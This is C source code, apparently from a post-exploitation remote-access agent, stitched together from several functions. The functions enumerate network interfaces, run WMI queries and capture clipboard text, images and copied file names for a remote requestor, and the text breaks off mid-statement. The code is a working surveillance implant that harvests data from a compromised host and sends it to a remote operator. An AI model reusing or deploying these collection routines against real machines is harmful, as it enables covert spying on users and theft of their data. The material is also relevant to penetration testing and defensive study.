#include "precomp.h" #ifdef _WIN32 #include <iptypes.h> #include <ws2ipdef.h> #endif #ifdef _WIN32 DWORD get_interfaces_windows_mib(Remote *remote, Packet *response) { DWORD result = ERROR_SUCCESS; DWORD tlv_cnt; Tlv entries[6]; PMIB_IPADDRTABLE table = NULL; DWORD tableSize = sizeof(MIB_IPADDRROW) * 33; DWORD index; DWORD mtu_bigendian; DWORD interface_index_bigendian; MIB_IFROW iface; do { // Allocate memory for reading addresses into if (!(table = (PMIB_IPADDRTABLE)malloc(tableSize))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the IP address table if (GetIpAddrTable(table, &tableSize, TRUE) != NO_ERROR) { result = GetLastError(); break; } // Enumerate the entries for (index = 0; index < table->dwNumEntries; index++) { tlv_cnt = 0; interface_index_bigendian = htonl(table->table[index].dwIndex); entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX; entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian; tlv_cnt++; entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_IP; entries[tlv_cnt].buffer = (PUCHAR)&table->table[index].dwAddr; tlv_cnt++; entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_NETMASK; entries[tlv_cnt].buffer = (PUCHAR)&table->table[index].dwMask; tlv_cnt++; iface.dwIndex = table->table[index].dwIndex; // If interface information can get gotten, use it. if (GetIfEntry(&iface) == NO_ERROR) { entries[tlv_cnt].header.length = iface.dwPhysAddrLen; entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR; entries[tlv_cnt].buffer = (PUCHAR)iface.bPhysAddr; tlv_cnt++; mtu_bigendian = htonl(iface.dwMtu); entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU; entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian; tlv_cnt++; if (iface.bDescr) { entries[tlv_cnt].header.length = iface.dwDescrLen + 1; entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME; entries[tlv_cnt].buffer = (PUCHAR)iface.bDescr; tlv_cnt++; } } // Add the interface group packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE, entries, tlv_cnt); } } while (0); if (table) free(table); return result; } DWORD get_interfaces_windows(Remote *remote, Packet *response) { DWORD result = ERROR_SUCCESS; DWORD tlv_cnt; // Most of the time we'll need: // index, name (description), MAC addr, mtu, flags, IP addr, netmask, maybe scope id // In some cases, the interface will have multiple addresses, so we'll realloc // this when necessary, but this will cover the common case. DWORD allocd_entries = 20; Tlv *entries = (Tlv *)malloc(sizeof(Tlv) * 20); int prefixes[30]; int prefixes_cnt = 0; DWORD mtu_bigendian; DWORD interface_index_bigendian; ULONG flags = GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST; LPSOCKADDR sockaddr; ULONG family = AF_UNSPEC; IP_ADAPTER_ADDRESSES *pAdapters = NULL; IP_ADAPTER_ADDRESSES *pCurr = NULL; ULONG outBufLen = 0; DWORD (WINAPI *gaa)(DWORD, DWORD, void *, void *, void *); // Use the newer version so we're guaranteed to have a large enough struct. // Unfortunately, using these probably means it won't compile on older // versions of Visual Studio. =( IP_ADAPTER_UNICAST_ADDRESS_LH *pAddr = NULL; IP_ADAPTER_UNICAST_ADDRESS_LH *pPref = NULL; // IP_ADAPTER_PREFIX is only defined if NTDDI_VERSION > NTDDI_WINXP // Since we request older versions of things, we have to be explicit // when using newer structs. IP_ADAPTER_PREFIX_XP *pPrefix = NULL; do { gaa = (DWORD (WINAPI *)(DWORD,DWORD,void*,void*,void*))GetProcAddress( GetModuleHandle("iphlpapi"), "GetAdaptersAddresses" ); if (!gaa) { result = get_interfaces_windows_mib(remote, response); break; } gaa(family, flags, NULL, pAdapters, &outBufLen); if (!(pAdapters = (IP_ADAPTER_ADDRESSES *)malloc(outBufLen))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } if (gaa(family, flags, NULL, pAdapters, &outBufLen)) { result = GetLastError(); break; } // Enumerate the entries for (pCurr = pAdapters; pCurr; pCurr = pCurr->Next) { tlv_cnt = 0; interface_index_bigendian = htonl(pCurr->IfIndex); entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX; entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian; tlv_cnt++; entries[tlv_cnt].header.length = pCurr->PhysicalAddressLength; entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR; entries[tlv_cnt].buffer = (PUCHAR)pCurr->PhysicalAddress; tlv_cnt++; entries[tlv_cnt].header.length = wcslen(pCurr->Description)*2 + 1; entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME; entries[tlv_cnt].buffer = (PUCHAR)pCurr->Description; tlv_cnt++; mtu_bigendian = htonl(pCurr->Mtu); entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU; entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian; tlv_cnt++; if (pCurr->Length > 68) { // Then this is a Longhorn struct version and it contains the // FirstPrefix member, save it for later in case we don't have // an OnLinkPrefixLength pPrefix = pCurr->FirstPrefix; } for (pAddr = (void*)pCurr->FirstUnicastAddress; pAddr; pAddr = (void*)pAddr->Next) { sockaddr = pAddr->Address.lpSockaddr; if (AF_INET != sockaddr->sa_family && AF_INET6 != sockaddr->sa_family) { // Skip interfaces that aren't IP continue; } // This loop can add up to three Tlv's - one for address, one // for scope_id, one for netmask. Go ahead and allocate enough // room for all of them. if (allocd_entries < tlv_cnt+3) { entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3)); allocd_entries += 3; } if (pAddr->Length > 44) { // Then this is Vista+ and the OnLinkPrefixLength member // will be populated prefixes[prefixes_cnt] = htonl(pAddr->OnLinkPrefixLength); } if (pPrefix && 0 == prefixes[prefixes_cnt]) { // Otherwise, we have to walk the FirstPrefix linked list prefixes[prefixes_cnt] = htonl(pPrefix->PrefixLength); pPrefix = pPrefix->Next; } else { // This is XP SP0 and as far as I can tell, we have no way // of determining the netmask short of bailing on // this method and falling back to MIB, which doesn't // return IPv6 addresses. Older versions (e.g. NT4, 2k) // don't have GetAdapterAddresses, so they will have fallen // through earlier to the MIB implementation. free(entries); free(pAdapters); return get_interfaces_windows_mib(remote, response); } if (prefixes[prefixes_cnt]) { entries[tlv_cnt].header.length = 4; entries[tlv_cnt].header.type = TLV_TYPE_IP_PREFIX; entries[tlv_cnt].buffer = (PUCHAR)&prefixes[prefixes_cnt]; tlv_cnt++; prefixes_cnt++; } if (sockaddr->sa_family == AF_INET) { entries[tlv_cnt].header.length = 4; entries[tlv_cnt].header.type = TLV_TYPE_IP; entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr); tlv_cnt++; } else { entries[tlv_cnt].header.length = 16; entries[tlv_cnt].header.type = TLV_TYPE_IP; entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr); tlv_cnt++; entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_IP6_SCOPE; entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id); tlv_cnt++; } } // Add the interface group packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE, entries, tlv_cnt); } } while (0); if (entries) free(entries); if (pAdapters) free(pAdapters); return result; } #else /* _WIN32 */ int get_interfaces_linux(Remote *remote, Packet *response) { struct ifaces_list *ifaces = NULL; int i; int result; uint32_t interface_index_bigendian, mtu_bigendian; DWORD allocd_entries = 10; Tlv *entries = (Tlv *)malloc(sizeof(Tlv) * 10); dprintf("Grabbing interfaces"); result = netlink_get_interfaces(&ifaces); dprintf("Got 'em"); if (!result) { for (i = 0; i < ifaces->entries; i++) { int tlv_cnt = 0; int j = 0; dprintf("Building TLV for iface %d", i); entries[tlv_cnt].header.length = strlen(ifaces->ifaces[i].name)+1; entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME; entries[tlv_cnt].buffer = (PUCHAR)ifaces->ifaces[i].name; tlv_cnt++; entries[tlv_cnt].header.length = 6; entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR; entries[tlv_cnt].buffer = (PUCHAR)ifaces->ifaces[i].hwaddr; tlv_cnt++; mtu_bigendian = htonl(ifaces->ifaces[i].mtu); entries[tlv_cnt].header.length = sizeof(uint32_t); entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU; entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian; tlv_cnt++; entries[tlv_cnt].header.length = strlen(ifaces->ifaces[i].flags)+1; entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_FLAGS; entries[tlv_cnt].buffer = (PUCHAR)ifaces->ifaces[i].flags; tlv_cnt++; interface_index_bigendian = htonl(ifaces->ifaces[i].index); entries[tlv_cnt].header.length = sizeof(uint32_t); entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX; entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian; tlv_cnt++; for (j = 0; j < ifaces->ifaces[i].addr_count; j++) { if (allocd_entries < tlv_cnt+3) { entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3)); allocd_entries += 3; } if (ifaces->ifaces[i].addr_list[j].family == AF_INET) { dprintf("ip addr for %s", ifaces->ifaces[i].name); entries[tlv_cnt].header.length = sizeof(__u32); entries[tlv_cnt].header.type = TLV_TYPE_IP; entries[tlv_cnt].buffer = (PUCHAR)&ifaces->ifaces[i].addr_list[j].ip.addr; tlv_cnt++; //dprintf("netmask for %s", ifaces->ifaces[i].name); entries[tlv_cnt].header.length = sizeof(__u32); entries[tlv_cnt].header.type = TLV_TYPE_NETMASK; entries[tlv_cnt].buffer = (PUCHAR)&ifaces->ifaces[i].addr_list[j].nm.netmask; tlv_cnt++; } else { dprintf("-- ip six addr for %s", ifaces->ifaces[i].name); entries[tlv_cnt].header.length = sizeof(__u128); entries[tlv_cnt].header.type = TLV_TYPE_IP; entries[tlv_cnt].buffer = (PUCHAR)&ifaces->ifaces[i].addr_list[j].ip.addr6; tlv_cnt++; //dprintf("netmask6 for %s", ifaces->ifaces[i].name); entries[tlv_cnt].header.length = sizeof(__u128); entries[tlv_cnt].header.type = TLV_TYPE_NETMASK; entries[tlv_cnt].buffer = (PUCHAR)&ifaces->ifaces[i].addr_list[j].nm.netmask6; tlv_cnt++; } } dprintf("Adding TLV to group"); packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE, entries, tlv_cnt); dprintf("done Adding TLV to group"); } } if (ifaces) free(ifaces); if (entries) free(entries); return result; }
/*! * @brief Perform a WMI query. * @param lpwRoot Name of the root object that is to be queried against. * @param lpwQuery The filter to use when reading objects (LDAP style). * @param response The response \c Packet to add the results to. */ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response) { HRESULT hResult; dprintf("[WMI] Initialising COM"); if ((hResult = CoInitializeEx(NULL, COINIT_MULTITHREADED)) == S_OK) { dprintf("[WMI] COM initialised"); IWbemLocator* pLocator = NULL; IWbemServices* pServices = NULL; IEnumWbemClassObject* pEnumerator = NULL; IWbemClassObject* pSuperClass = NULL; IWbemClassObject* pObj = NULL; Tlv* valueTlvs = NULL; char* values = NULL; VARIANT** fields = NULL; do { if (FAILED(hResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, 0))) { dprintf("[WMI] Failed to initialize security: %x", hResult); break; } dprintf("[WMI] Security initialised"); if (FAILED(hResult = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pLocator)))) { dprintf("[WMI] Failed to create WbemLocator: %x", hResult); break; } dprintf("[WMI] WbemLocator created."); if (FAILED(hResult = pLocator->ConnectServer(_bstr_t(lpwRoot), NULL, NULL, NULL, WBEM_FLAG_CONNECT_USE_MAX_WAIT, NULL, NULL, &pServices))) { dprintf("[WMI] Failed to create WbemServices at %S: %x", lpwRoot, hResult); break; } dprintf("[WMI] WbemServices created."); if (FAILED(hResult = pServices->ExecQuery(L"WQL", lpwQuery, WBEM_FLAG_FORWARD_ONLY, NULL, &pEnumerator))) { dprintf("[WMI] Failed to create Enumerator for query %S: %x", lpwQuery, hResult); break; } dprintf("[WMI] Enumerated created."); ULONG numFound; if (FAILED(hResult = pEnumerator->Next(ENUM_TIMEOUT, 1, &pObj, &numFound))) { dprintf("[WMI] Failed to get the first query element: %x", lpwQuery, hResult); break; } dprintf("[WMI] First result read. hr=%x p=%p", hResult, pObj); if (hResult == WBEM_S_FALSE) { // this is not an error dprintf("[WMI] No results found!"); break; } // get the names of the fields out of the first object before doing anything else. LPSAFEARRAY pFieldArray = NULL; if (FAILED(hResult = pObj->GetNames(NULL, WBEM_FLAG_ALWAYS, NULL, &pFieldArray))) { dprintf("[WMI] Failed to get field names: %x", hResult); break; } dprintf("[WMI] Field Names extracted. hr=%x p=%p", hResult, pFieldArray); // lock the array if (FAILED(hResult = SafeArrayLock(pFieldArray))) { dprintf("[WMI] Failed to get array dimension: %x", hResult); break; } dprintf("[WMI] Field name array locked."); do { dprintf("[WMI] Array dimensions: %u", SafeArrayGetDim(pFieldArray)); // this array is just one dimension, let's get the bounds of the first dimension LONG lBound, uBound; if (FAILED(hResult = SafeArrayGetLBound(pFieldArray, 1, &lBound)) || FAILED(hResult = SafeArrayGetUBound(pFieldArray, 1, &uBound))) { dprintf("[WMI] Failed to get array dimensions: %x", hResult); break; } dprintf("[WMI] Bounds: %u to %u", lBound, uBound); LONG fieldCount = uBound - lBound - SYSTEM_FIELD_COUNT - 1; dprintf("[WMI] Query results in %u fields", fieldCount); fields = (VARIANT**)malloc(fieldCount * sizeof(VARIANT**)); valueTlvs = (Tlv*)malloc(fieldCount * sizeof(Tlv)); values = (char*)malloc(fieldCount * FIELD_SIZE); memset(fields, 0, fieldCount * sizeof(VARIANT**)); memset(valueTlvs, 0, fieldCount * sizeof(Tlv)); memset(values, 0, fieldCount * FIELD_SIZE); for (LONG i = 0; i < fieldCount; ++i) { LONG indices[1] = { i + SYSTEM_FIELD_COUNT }; char* fieldName = values + (i * FIELD_SIZE); SafeArrayPtrOfIndex(pFieldArray, indices, (void**)&fields[i]); _bstr_t bstr(fields[i]->bstrVal); strncpy_s(fieldName, FIELD_SIZE, (const char*)bstr, FIELD_SIZE - 1); valueTlvs[i].header.type = TLV_TYPE_EXT_WMI_FIELD; valueTlvs[i].header.length = (UINT)strlen(fieldName) + 1; valueTlvs[i].buffer = (PUCHAR)fieldName; dprintf("[WMI] Added header field: %s", fieldName); } dprintf("[WMI] added all field headers"); // add the field names to the packet packet_add_tlv_group(response, TLV_TYPE_EXT_WMI_FIELDS, valueTlvs, fieldCount); dprintf("[WMI] processing values..."); // with that horrible pain out of the way, let's actually grab the data do { if (FAILED(hResult)) { dprintf("[WMI] Loop exited via %x", hResult); break; } memset(valueTlvs, 0, fieldCount * sizeof(Tlv)); memset(values, 0, fieldCount * FIELD_SIZE); for (LONG i = 0; i < fieldCount; ++i) { char* value = values + (i * FIELD_SIZE); valueTlvs[i].header.type = TLV_TYPE_EXT_WMI_VALUE; valueTlvs[i].buffer = (PUCHAR)value; VARIANT varValue; VariantInit(&varValue); _bstr_t field(fields[i]->bstrVal); dprintf("[WMI] Extracting value for %s", (char*)field); if (SUCCEEDED(pObj->Get(field, 0, &varValue, NULL, NULL))) { variant_to_string(_variant_t(varValue), value, FIELD_SIZE); } valueTlvs[i].header.length = (UINT)strlen(value) + 1; dprintf("[WMI] Added value for %s: %s", (char*)_bstr_t(fields[i]->bstrVal), value); } // add the field values to the packet packet_add_tlv_group(response, TLV_TYPE_EXT_WMI_VALUES, valueTlvs, fieldCount); pObj->Release(); pObj = NULL; } while ((hResult = pEnumerator->Next(ENUM_TIMEOUT, 1, &pObj, &numFound)) != WBEM_S_FALSE); } while (0); SafeArrayUnlock(pFieldArray); } while (0); if (fields) { free(fields); } if (values) { free(values); } if (valueTlvs) { free(valueTlvs); } if (pObj) { pObj->Release(); } if (pEnumerator) { pEnumerator->Release(); } if (pServices) { pServices->Release(); } if (pLocator) { pLocator->Release(); } CoUninitialize(); if (SUCCEEDED(hResult)) { hResult = S_OK; dprintf("[WMI] Things appeard to go well!"); } } else { dprintf("[WMI] Failed to initialize COM"); } if (FAILED(hResult)) { // if we failed, we're going to convert the error to a string, add it and still return success, but we'll // also include the hresult. char errorMessage[1024]; memset(errorMessage, 0, 1024); _com_error comError(hResult); _snprintf_s(errorMessage, 1024, 1023, "%s (0x%x)", comError.ErrorMessage(), hResult); dprintf("[WMI] returning error -> %s", errorMessage); packet_add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage); hResult = S_OK; } return (DWORD)hResult; }
/* * Returns zero or more local interfaces to the requestor */ DWORD request_net_config_get_interfaces(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; DWORD entryCount; #ifdef _WIN32 Tlv entries[5]; PMIB_IPADDRTABLE table = NULL; DWORD tableSize = sizeof(MIB_IPADDRROW) * 33; DWORD index; MIB_IFROW iface; do { // Allocate memory for reading addresses into if (!(table = (PMIB_IPADDRTABLE)malloc(tableSize))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the IP address table if (GetIpAddrTable(table, &tableSize, TRUE) != NO_ERROR) { result = GetLastError(); break; } // Enumerate the entries for (index = 0; index < table->dwNumEntries; index++) { entryCount = 0; entries[entryCount].header.length = sizeof(DWORD); entries[entryCount].header.type = TLV_TYPE_IP; entries[entryCount].buffer = (PUCHAR)&table->table[index].dwAddr; entryCount++; entries[entryCount].header.length = sizeof(DWORD); entries[entryCount].header.type = TLV_TYPE_NETMASK; entries[entryCount].buffer = (PUCHAR)&table->table[index].dwMask; entryCount++; iface.dwIndex = table->table[index].dwIndex; // If interface information can get gotten, use it. if (GetIfEntry(&iface) == NO_ERROR) { entries[entryCount].header.length = iface.dwPhysAddrLen; entries[entryCount].header.type = TLV_TYPE_MAC_ADDR; entries[entryCount].buffer = (PUCHAR)iface.bPhysAddr; entryCount++; if (iface.bDescr) { entries[entryCount].header.length = iface.dwDescrLen + 1; entries[entryCount].header.type = TLV_TYPE_MAC_NAME; entries[entryCount].buffer = (PUCHAR)iface.bDescr; entryCount++; } } // Add the interface group packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE, entries, entryCount); } } while (0); if (table) free(table); #else struct iface *ifaces; int count; int i; int if_error; Tlv entries[4]; if_error = get_ifaces(&ifaces, &count); if (if_error) { result = if_error; } else { for (i = 0; i < count; i++) { entries[0].header.length = strlen(ifaces[i].name)+1; entries[0].header.type = TLV_TYPE_MAC_NAME; entries[0].buffer = (PUCHAR)ifaces[i].name; entries[1].header.length = 6; entries[1].header.type = TLV_TYPE_MAC_ADDR; entries[1].buffer = (PUCHAR)ifaces[i].hwaddr; entries[2].header.length = ifaces[i].addr_size; entries[2].header.type = TLV_TYPE_IP; entries[2].buffer = (PUCHAR)ifaces[i].addr; entries[3].header.length = ifaces[i].addr_size; entries[3].header.type = TLV_TYPE_NETMASK; entries[3].buffer = (PUCHAR)ifaces[i].netmask; packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE, entries, 4); } } if (ifaces) free_ifaces(ifaces, count); #endif // Transmit the response if valid packet_transmit_response(result, remote, response); return result; }
/*! * @brief Handle the request to get the data from the clipboard. * @details This function currently only supports the following clipboard data formats: * - CF_TEXT - raw text data. * - CF_DIB - bitmap/image information. * - CF_HDROP - file selection. * * Over time more formats will be supported. * @param remote Pointer to the remote endpoint. * @param packet Pointer to the request packet. * @return Indication of success or failure. * @todo Add support for more data formats. */ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) { #ifdef _WIN32 DWORD dwResult; HMODULE hKernel32 = NULL; HMODULE hUser32 = NULL; HMODULE hShell32 = NULL; PGLOBALLOCK pGlobalLock = NULL; PGLOBALUNLOCK pGlobalUnlock = NULL; POPENCLIPBOARD pOpenClipboard = NULL; PCLOSECLIPBOARD pCloseClipboard = NULL; PGETCLIPBOARDDATA pGetClipboardData = NULL; PENUMCLIPBOARDFORMATS pEnumClipboardFormats = NULL; PDRAGQUERYFILEA pDragQueryFileA = NULL; PCREATEFILEA pCreateFileA = NULL; PCLOSEHANDLE pCloseHandle = NULL; PGETFILESIZEEX pGetFileSizeEx = NULL; HANDLE hSourceFile = NULL; PCHAR lpClipString = NULL; HGLOBAL hClipboardData = NULL; HDROP hFileDrop = NULL; UINT uFormat = 0; UINT uFileIndex = 0; UINT uFileCount = 0; CHAR lpFileName[MAX_PATH]; Tlv entries[2] = { 0 }; LARGE_INTEGER largeInt = { 0 }; LPBITMAPINFO lpBI = NULL; PUCHAR lpDIB = NULL; ConvertedImage image; BOOL bImageDownload = FALSE; DWORD dwWidth; DWORD dwHeight; Tlv imageTlv[3]; Packet *pResponse = packet_create_response(packet); do { dprintf("[EXTAPI CLIPBOARD] Loading user32.dll"); if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll"); dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll"); if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock"); if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock"); if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard"); if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard"); if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData"); if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats"); if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll"); // Try to get a lock on the clipboard if (!pOpenClipboard(NULL)) { dwResult = GetLastError(); BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult); } dprintf("[EXTAPI CLIPBOARD] Clipboard locked, attempting to get data..."); while (uFormat = pEnumClipboardFormats(uFormat)) { if (uFormat == CF_TEXT) { // there's raw text on the clipboard if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL && (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL) { dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString); packet_add_tlv_string(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString); pGlobalUnlock(hClipboardData); } } else if (uFormat == CF_DIB) { dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data"); // an image of some kind is on the clipboard if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL && (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL) { dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions."); // grab the bitmap image size dwWidth = htonl(lpBI->bmiHeader.biWidth); dwHeight = htonl(lpBI->bmiHeader.biHeight); imageTlv[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX; imageTlv[0].header.length = sizeof(UINT); imageTlv[0].buffer = (PUCHAR)&dwWidth; imageTlv[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY; imageTlv[1].header.length = sizeof(UINT); imageTlv[1].buffer = (PUCHAR)&dwHeight; // only download the image if they want it bImageDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD); dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight, bImageDownload ? "WILL" : "will NOT"); if (!bImageDownload) { packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 2); } else { lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE); // TODO: add the ability to encode with multiple encoders and return the smallest image. if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS) { dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize); imageTlv[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA; imageTlv[2].header.length = image.dwImageBufferSize; imageTlv[2].buffer = (PUCHAR)image.pImageBuffer; packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 3); // Just leaving this in for debugging purposes later on //hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL); //CloseHandle(hSourceFile); free(image.pImageBuffer); } else { dwResult = GetLastError(); dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG"); } } pGlobalUnlock(hClipboardData); } else { dwResult = GetLastError(); dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information"); } } else if (uFormat == CF_HDROP) { // there's one or more files on the clipboard dprintf("[EXTAPI CLIPBOARD] Files have been located on the clipboard"); do { dprintf("[EXTAPI CLIPBOARD] Loading shell32.dll"); if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA"); if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle"); if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx"); if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA"); if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll"); dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data"); if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL && (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL) { uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0); dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount); for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex) { if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName))) { dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName); memset(&entries, 0, sizeof(entries)); memset(&largeInt, 0, sizeof(largeInt)); entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME; entries[0].header.length = (DWORD)strlen(lpFileName) + 1; entries[0].buffer = (PUCHAR)lpFileName; entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE; entries[1].header.length = sizeof(QWORD); entries[1].buffer = (PUCHAR)&largeInt.QuadPart; if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL) { if (pGetFileSizeEx(hSourceFile, &largeInt)) { largeInt.QuadPart = htonq(largeInt.QuadPart); } pCloseHandle(hSourceFile); } packet_add_tlv_group(pResponse, 